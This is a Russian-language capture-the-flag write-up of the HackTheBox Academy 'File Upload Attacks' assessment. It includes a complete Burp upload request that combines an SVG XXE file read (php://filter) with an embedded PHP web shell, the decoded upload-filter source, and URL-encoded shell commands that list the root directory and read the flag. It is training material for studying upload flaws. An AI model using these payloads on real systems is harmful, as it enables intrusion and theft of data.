Продолжаем покарять академию HackTheBox. В конце модуля «File Upload Attacks» дается Assessment на проверку полученных знаний. Это веб-приложение, где логично догадаться есть уязвимая форма загрузки чего-либо.
Само приложение — некий «Academy shop» магазин.

Немного осматриваемся и находим всего одну форму для загрузки изображения.

Загружаем любую картинку и смотрим на запрос в burp.
Потыкавшись в попытках загрузить разные расширения с php шеллом, я потерпел неудачу. Пробаем использовать XXE в svg. Запрос в burp:
POST /contact/upload.php HTTP/1.1
Host: 83.136.252.32:55703
Content-Length: 574
X-Requested-With: XMLHttpRequest
Accept-Language: ru-RU,ru;q=0.9
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0mOVj0tjhrnNROIq
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Origin: http://83.136.252.32:55703
Referer: http://83.136.252.32:55703/contact/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundary0mOVj0tjhrnNROIq
Content-Disposition: form-data; name="uploadFile"; filename="shell.phar.jpeg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php" > ]>
<svg width="128px" height="128px"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary0mOVj0tjhrnNROIq--Тут мы убиваем сразу двух зайцев. Во-первых используем узвимость на чтение php кода (<!DOCTYPE test [ <!ENTITY xxe SYSTEM «php://filter/convert.base64-encode/resource=upload.php»)
Во-вторых вставляем веб шелл:
<?php system($_GET['cmd']); ?>В ответе нам придет base64 c исходным кодом файла upload.php.

Раскодируем так:
$ echo PD9waHAKcmVxdWlyZV9vbmNlKCcuL2NvbW1vbi1mdW5jdGlvbnMucGhwJyk7CgovLyB1cGxvYWRlZCBmaWxlcyBkaXJlY3RvcnkKJHRhcmdldF9kaXIgPSAiLi91c2VyX2ZlZWRiYWNrX3N1Ym1pc3Npb25zLyI7CgovLyByZW5hbWUgYmVmb3JlIHN0b3JpbmcKJGZpbGVOYW1lID0gZGF0ZSgneW1kJykgLiAnXycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSk7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gJGZpbGVOYW1lOwoKLy8gZ2V0IGNvbnRlbnQgaGVhZGVycwokY29udGVudFR5cGUgPSAkX0ZJTEVTWyd1cGxvYWRGaWxlJ11bJ3R5cGUnXTsKJE1JTUV0eXBlID0gbWltZV9jb250ZW50X3R5cGUoJF9GSUxFU1sndXBsb2FkRmlsZSddWyd0bXBfbmFtZSddKTsKCi8vIGJsYWNrbGlzdCB0ZXN0CmlmIChwcmVnX21hdGNoKCcvLitcLnBoKHB8cHN8dG1sKS8nLCAkZmlsZU5hbWUpKSB7CiAgICBlY2hvICJFeHRlbnNpb24gbm90IGFsbG93ZWQiOwogICAgZGllKCk7Cn0KCi8vIHdoaXRlbGlzdCB0ZXN0CmlmICghcHJlZ19tYXRjaCgnL14uK1wuW2Etel17MiwzfWckLycsICRmaWxlTmFtZSkpIHsKICAgIGVjaG8gIk9ubHkgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgIGRpZSgpOwp9CgovLyB0eXBlIHRlc3QKZm9yZWFjaCAoYXJyYXkoJGNvbnRlbnRUeXBlLCAkTUlNRXR5cGUpIGFzICR0eXBlKSB7CiAgICBpZiAoIXByZWdfbWF0Y2goJy9pbWFnZVwvW2Etel17MiwzfWcvJywgJHR5cGUpKSB7CiAgICAgICAgZWNobyAiT25seSBpbWFnZXMgYXJlIGFsbG93ZWQiOwogICAgICAgIGRpZSgpOwogICAgfQp9CgovLyBzaXplIHRlc3QKaWYgKCRfRklMRVNbInVwbG9hZEZpbGUiXVsic2l6ZSJdID4gNTAwMDAwKSB7CiAgICBlY2hvICJGaWxlIHRvbyBsYXJnZSI7CiAgICBkaWUoKTsKfQoKaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgIGRpc3BsYXlIVE1MSW1hZ2UoJHRhcmdldF9maWxlKTsKfSBlbHNlIHsKICAgIGVjaG8gIkZpbGUgZmFpbGVkIHRvIHVwbG9hZCI7Cn0K | base64 -d
<?php
require_once('./common-functions.php');
// uploaded files directory
$target_dir = "./user_feedback_submissions/";
// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;
// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
echo "Extension not allowed";
die();
}
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
// type test
foreach (array($contentType, $MIMEtype) as $type) {
if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
echo "Only images are allowed";
die();
}
}
// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
echo "File too large";
die();
}
if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
displayHTMLImage($target_file);
} else {
echo "File failed to upload";
}
Из исходного кода видим, что директория, куда сохраняются «изображения» лежит по пути /contact/user_feedback_submissions и сами файлы формируются с prefix-ом даты YYMMDD_. То есть итоговый путь до нашего файла будет /contact/user_feedback_submissions/251122_shell.phar.jpeg.
Вызываем его в браузере:

Видим что shell работает. В задании сказано, что флаг лежит в корневой директории. Проверяем что там командой ls /, которую в том же burp можно сделать url encode.
http://83.136.252.32:55703/contact/user_feedback_submissions/251122_shell.phar.jpeg?cmd=%6c%73%20%2f
Далее просто делаем cat на нужный файл:
http://83.136.252.32:55703/contact/user_feedback_submissions/251122_shell.phar.jpeg?cmd=%63%61%74%20%2f%66%6c%61%67%5f%32%62%38%66%31%64%32%64%61%31%36%32%64%38%63%34%34%62%33%36%39%36%61%31%64%64%38%61%39%31%63%39%2e%74%78%74В браузере увидим флаг.
